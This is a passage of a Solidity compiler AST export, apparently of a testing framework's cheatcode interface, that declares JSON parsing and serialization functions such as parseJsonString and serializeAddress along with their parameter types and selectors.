`int256`."},"functionSelector":"7b048ccd","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonInt","nameLocation":"28080:12:13","parameters":{"id":12997,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12994,"mutability":"mutable","name":"json","nameLocation":"28109:4:13","nodeType":"VariableDeclaration","scope":13001,"src":"28093:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12993,"name":"string","nodeType":"ElementaryTypeName","src":"28093:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12996,"mutability":"mutable","name":"key","nameLocation":"28131:3:13","nodeType":"VariableDeclaration","scope":13001,"src":"28115:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12995,"name":"string","nodeType":"ElementaryTypeName","src":"28115:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28092:43:13"},"returnParameters":{"id":13000,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12999,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13001,"src":"28159:6:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12998,"name":"int256","nodeType":"ElementaryTypeName","src":"28159:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"28158:8:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13012,"nodeType":"FunctionDefinition","src":"28249:110:13","nodes":[],"documentation":{"id":13002,"nodeType":"StructuredDocumentation","src":"28173:71:13","text":"Parses a string of JSON data at `key` and coerces it to `int256[]`."},"functionSelector":"9983c28a","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonIntArray","nameLocation":"28258:17:13","parameters":{"id":13007,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13004,"mutability":"mutable","name":"json","nameLocation":"28292:4:13","nodeType":"VariableDeclaration","scope":13012,"src":"28276:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13003,"name":"string","nodeType":"ElementaryTypeName","src":"28276:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13006,"mutability":"mutable","name":"key","nameLocation":"28314:3:13","nodeType":"VariableDeclaration","scope":13012,"src":"28298:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13005,"name":"string","nodeType":"ElementaryTypeName","src":"28298:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28275:43:13"},"returnParameters":{"id":13011,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13010,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13012,"src":"28342:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13008,"name":"int256","nodeType":"ElementaryTypeName","src":"28342:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13009,"nodeType":"ArrayTypeName","src":"28342:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"28341:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13023,"nodeType":"FunctionDefinition","src":"28424:111:13","nodes":[],"documentation":{"id":13013,"nodeType":"StructuredDocumentation","src":"28365:54:13","text":"Returns an array of all the keys in a JSON object."},"functionSelector":"213e4198","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonKeys","nameLocation":"28433:13:13","parameters":{"id":13018,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13015,"mutability":"mutable","name":"json","nameLocation":"28463:4:13","nodeType":"VariableDeclaration","scope":13023,"src":"28447:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13014,"name":"string","nodeType":"ElementaryTypeName","src":"28447:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13017,"mutability":"mutable","name":"key","nameLocation":"28485:3:13","nodeType":"VariableDeclaration","scope":13023,"src":"28469:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13016,"name":"string","nodeType":"ElementaryTypeName","src":"28469:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28446:43:13"},"returnParameters":{"id":13022,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13021,"mutability":"mutable","name":"keys","nameLocation":"28529:4:13","nodeType":"VariableDeclaration","scope":13023,"src":"28513:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13019,"name":"string","nodeType":"ElementaryTypeName","src":"28513:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13020,"nodeType":"ArrayTypeName","src":"28513:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"28512:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13033,"nodeType":"FunctionDefinition","src":"28615:106:13","nodes":[],"documentation":{"id":13024,"nodeType":"StructuredDocumentation","src":"28541:69:13","text":"Parses a string of JSON data at `key` and coerces it to `string`."},"functionSelector":"49c4fac8","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonString","nameLocation":"28624:15:13","parameters":{"id":13029,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13026,"mutability":"mutable","name":"json","nameLocation":"28656:4:13","nodeType":"VariableDeclaration","scope":13033,"src":"28640:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13025,"name":"string","nodeType":"ElementaryTypeName","src":"28640:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13028,"mutability":"mutable","name":"key","nameLocation":"28678:3:13","nodeType":"VariableDeclaration","scope":13033,"src":"28662:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13027,"name":"string","nodeType":"ElementaryTypeName","src":"28662:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28639:43:13"},"returnParameters":{"id":13032,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13031,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13033,"src":"28706:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13030,"name":"string","nodeType":"ElementaryTypeName","src":"28706:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28705:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13044,"nodeType":"FunctionDefinition","src":"28803:113:13","nodes":[],"documentation":{"id":13034,"nodeType":"StructuredDocumentation","src":"28727:71:13","text":"Parses a string of JSON data at `key` and coerces it to `string[]`."},"functionSelector":"498fdcf4","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonStringArray","nameLocation":"28812:20:13","parameters":{"id":13039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13036,"mutability":"mutable","name":"json","nameLocation":"28849:4:13","nodeType":"VariableDeclaration","scope":13044,"src":"28833:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13035,"name":"string","nodeType":"ElementaryTypeName","src":"28833:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13038,"mutability":"mutable","name":"key","nameLocation":"28871:3:13","nodeType":"VariableDeclaration","scope":13044,"src":"28855:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13037,"name":"string","nodeType":"ElementaryTypeName","src":"28855:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28832:43:13"},"returnParameters":{"id":13043,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13042,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13044,"src":"28899:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13040,"name":"string","nodeType":"ElementaryTypeName","src":"28899:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13041,"nodeType":"ArrayTypeName","src":"28899:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"28898:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13054,"nodeType":"FunctionDefinition","src":"28997:98:13","nodes":[],"documentation":{"id":13045,"nodeType":"StructuredDocumentation","src":"28922:70:13","text":"Parses a string of JSON data at `key` and coerces it to `uint256`."},"functionSelector":"addde2b6","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonUint","nameLocation":"29006:13:13","parameters":{"id":13050,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13047,"mutability":"mutable","name":"json","nameLocation":"29036:4:13","nodeType":"VariableDeclaration","scope":13054,"src":"29020:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13046,"name":"string","nodeType":"ElementaryTypeName","src":"29020:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13049,"mutability":"mutable","name":"key","nameLocation":"29058:3:13","nodeType":"VariableDeclaration","scope":13054,"src":"29042:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13048,"name":"string","nodeType":"ElementaryTypeName","src":"29042:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29019:43:13"},"returnParameters":{"id":13053,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13052,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13054,"src":"29086:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13051,"name":"uint256","nodeType":"ElementaryTypeName","src":"29086:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29085:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13065,"nodeType":"FunctionDefinition","src":"29178:112:13","nodes":[],"documentation":{"id":13055,"nodeType":"StructuredDocumentation","src":"29101:72:13","text":"Parses a string of JSON data at `key` and coerces it to `uint256[]`."},"functionSelector":"522074ab","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonUintArray","nameLocation":"29187:18:13","parameters":{"id":13060,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13057,"mutability":"mutable","name":"json","nameLocation":"29222:4:13","nodeType":"VariableDeclaration","scope":13065,"src":"29206:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13056,"name":"string","nodeType":"ElementaryTypeName","src":"29206:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13059,"mutability":"mutable","name":"key","nameLocation":"29244:3:13","nodeType":"VariableDeclaration","scope":13065,"src":"29228:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13058,"name":"string","nodeType":"ElementaryTypeName","src":"29228:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29205:43:13"},"returnParameters":{"id":13064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13063,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13065,"src":"29272:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13061,"name":"uint256","nodeType":"ElementaryTypeName","src":"29272:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13062,"nodeType":"ArrayTypeName","src":"29272:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"29271:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13073,"nodeType":"FunctionDefinition","src":"29331:93:13","nodes":[],"documentation":{"id":13066,"nodeType":"StructuredDocumentation","src":"29296:30:13","text":"ABI-encodes a JSON object."},"functionSelector":"6a82600a","implemented":false,"kind":"function","modifiers":[],"name":"parseJson","nameLocation":"29340:9:13","parameters":{"id":13069,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13068,"mutability":"mutable","name":"json","nameLocation":"29366:4:13","nodeType":"VariableDeclaration","scope":13073,"src":"29350:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13067,"name":"string","nodeType":"ElementaryTypeName","src":"29350:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29349:22:13"},"returnParameters":{"id":13072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13071,"mutability":"mutable","name":"abiEncodedData","nameLocation":"29408:14:13","nodeType":"VariableDeclaration","scope":13073,"src":"29395:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":13070,"name":"bytes","nodeType":"ElementaryTypeName","src":"29395:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"29394:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13083,"nodeType":"FunctionDefinition","src":"29474:114:13","nodes":[],"documentation":{"id":13074,"nodeType":"StructuredDocumentation","src":"29430:39:13","text":"ABI-encodes a JSON object at `key`."},"functionSelector":"85940ef1","implemented":false,"kind":"function","modifiers":[],"name":"parseJson","nameLocation":"29483:9:13","parameters":{"id":13079,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13076,"mutability":"mutable","name":"json","nameLocation":"29509:4:13","nodeType":"VariableDeclaration","scope":13083,"src":"29493:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13075,"name":"string","nodeType":"ElementaryTypeName","src":"29493:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13078,"mutability":"mutable","name":"key","nameLocation":"29531:3:13","nodeType":"VariableDeclaration","scope":13083,"src":"29515:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13077,"name":"string","nodeType":"ElementaryTypeName","src":"29515:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29492:43:13"},"returnParameters":{"id":13082,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13081,"mutability":"mutable","name":"abiEncodedData","nameLocation":"29572:14:13","nodeType":"VariableDeclaration","scope":13083,"src":"29559:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":13080,"name":"bytes","nodeType":"ElementaryTypeName","src":"29559:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"29558:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13095,"nodeType":"FunctionDefinition","src":"29623:148:13","nodes":[],"documentation":{"id":13084,"nodeType":"StructuredDocumentation","src":"29594:24:13","text":"See `serializeJson`."},"functionSelector":"972c6062","implemented":false,"kind":"function","modifiers":[],"name":"serializeAddress","nameLocation":"29632:16:13","parameters":{"id":13091,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13086,"mutability":"mutable","name":"objectKey","nameLocation":"29665:9:13","nodeType":"VariableDeclaration","scope":13095,"src":"29649:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13085,"name":"string","nodeType":"ElementaryTypeName","src":"29649:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13088,"mutability":"mutable","name":"valueKey","nameLocation":"29692:8:13","nodeType":"VariableDeclaration","scope":13095,"src":"29676:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13087,"name":"string","nodeType":"ElementaryTypeName","src":"29676:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13090,"mutability":"mutable","name":"value","nameLocation":"29710:5:13","nodeType":"VariableDeclaration","scope":13095,"src":"29702:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13089,"name":"address","nodeType":"ElementaryTypeName","src":"29702:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"29648:68:13"},"returnParameters":{"id":13094,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13093,"mutability":"mutable","name":"json","nameLocation":"29765:4:13","nodeType":"VariableDeclaration","scope":13095,"src":"29751:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13092,"name":"string","nodeType":"ElementaryTypeName","src":"29751:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29750:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13108,"nodeType":"FunctionDefinition","src":"29806:160:13","nodes":[],"documentation":{"id":13096,"nodeType":"StructuredDocumentation","src":"29777:24:13","text":"See `serializeJson`."},"functionSelector":"1e356e1a","implemented":false,"kind":"function","modifiers":[],"name":"serializeAddress","nameLocation":"29815:16:13","parameters":{"id":13104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13098,"mutability":"mutable","name":"objectKey","nameLocation":"29848:9:13","nodeType":"VariableDeclaration","scope":13108,"src":"29832:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13097,"name":"string","nodeType":"ElementaryTypeName","src":"29832:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13100,"mutability":"mutable","name":"valueKey","nameLocation":"29875:8:13","nodeType":"VariableDeclaration","scope":13108,"src":"29859:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13099,"name":"string","nodeType":"ElementaryTypeName","src":"29859:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13103,"mutability":"mutable","name":"values","nameLocation":"29904:6:13","nodeType":"VariableDeclaration","scope":13108,"src":"29885:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":13101,"name":"address","nodeType":"ElementaryTypeName","src":"29885:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":13102,"nodeType":"ArrayTypeName","src":"29885:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"29831:80:13"},"returnParameters":{"id":13107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13106,"mutability":"mutable","name":"json","nameLocation":"29960:4:13","nodeType":"VariableDeclaration","scope":13108,"src":"29946:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13105,"name":"string","nodeType":"ElementaryTypeName","src":"29946:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29945:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13120,"nodeType":"FunctionDefinition","src":"30001:142:13","nodes":[],"documentation":{"id":13109,"nodeType":"StructuredDocumentation","src":"29972:24:13","text":"See `serializeJson`."},"functionSelector":"ac22e971","implemented":false,"kind":"function","modifiers":[],"name":"serializeBool","nameLocation":"30010:13:13","parameters":{"id":13116,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13111,"mutability":"mutable","name":"objectKey","nameLocation":"30040:9:13","nodeType":"VariableDeclaration","scope":13120,"src":"30024:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13110,"name":"string","nodeType":"ElementaryTypeName","src":"30024:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13113,"mutability":"mutable","name":"valueKey","nameLocation":"30067:8:13","nodeType":"VariableDeclaration","scope":13120,"src":"30051:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13112,"name":"string","nodeType":"ElementaryTypeName","src":"30051:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13115,"mutability":"mutable","name":"value","nameLocation":"30082:5:13","nodeType":"VariableDeclaration","scope":13120,"src":"30077:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13114,"name":"bool","nodeType":"ElementaryTypeName","src":"30077:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"30023:65:13"},"returnParameters":{"id":13119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13118,"mutability":"mutable","name":"json","nameLocation":"30137:4:13","nodeType":"VariableDeclaration","scope":13120,"src":"30123:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13117,"name":"string","nodeType":"ElementaryTypeName","src":"30123:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30122:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13133,"nodeType":"FunctionDefinition","src":"30178:154:13","nodes":[],"documentation":{"id":13121,"nodeType":"StructuredDocumentation","src":"30149:24:13","text":"See `serializeJson`."},"functionSelector":"92925aa1","implemented":false,"kind":"function","modifiers":[],"name":"serializeBool","nameLocation":"30187:13:13","parameters":{"id":13129,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13123,"mutability":"mutable","name":"objectKey","nameLocation":"30217:9:13","nodeType":"VariableDeclaration","scope":13133,"src":"30201:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13122,"name":"string","nodeType":"ElementaryTypeName","src":"30201:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13125,"mutability":"mutable","name":"valueKey","nameLocation":"30244:8:13","nodeType":"VariableDeclaration","scope":13133,"src":"30228:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13124,"name":"string","nodeType":"ElementaryTypeName","src":"30228:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13128,"mutability":"mutable","name":"values","nameLocation":"30270:6:13","nodeType":"VariableDeclaration","scope":13133,"src":"30254:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":13126,"name":"bool","nodeType":"ElementaryTypeName","src":"30254:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":13127,"nodeType":"ArrayTypeName","src":"30254:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"30200:77:13"},"returnParameters":{"id":13132,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13131,"mutability":"mutable","name":"json","nameLocation":"30326:4:13","nodeType":"VariableDeclaration","scope":13133,"src":"30312:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13130,"name":"string","nodeType":"ElementaryTypeName","src":"30312:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30311:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13145,"nodeType":"FunctionDefinition","src":"30367:148:13","nodes":[],"documentation":{"id":13134,"nodeType":"StructuredDocumentation","src":"30338:24:13","text":"See `serializeJson`."},"functionSelector":"2d812b44","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes32","nameLocation":"30376:16:13","parameters":{"id":13141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13136,"mutability":"mutable","name":"objectKey","nameLocation":"30409:9:13","nodeType":"VariableDeclaration","scope":13145,"src":"30393:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13135,"name":"string","nodeType":"ElementaryTypeName","src":"30393:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13138,"mutability":"mutable","name":"valueKey","nameLocation":"30436:8:13","nodeType":"VariableDeclaration","scope":13145,"src":"30420:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13137,"name":"string","nodeType":"ElementaryTypeName","src":"30420:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13140,"mutability":"mutable","name":"value","nameLocation":"30454:5:13","nodeType":"VariableDeclaration","scope":13145,"src":"30446:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30446:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"30392:68:13"},"returnParameters":{"id":13144,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13143,"mutability":"mutable","name":"json","nameLocation":"30509:4:13","nodeType":"VariableDeclaration","scope":13145,"src":"30495:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13142,"name":"string","nodeType":"ElementaryTypeName","src":"30495:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30494:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13158,"nodeType":"FunctionDefinition","src":"30550:160:13","nodes":[],"documentation":{"id":13146,"nodeType":"StructuredDocumentation","src":"30521:24:13","text":"See 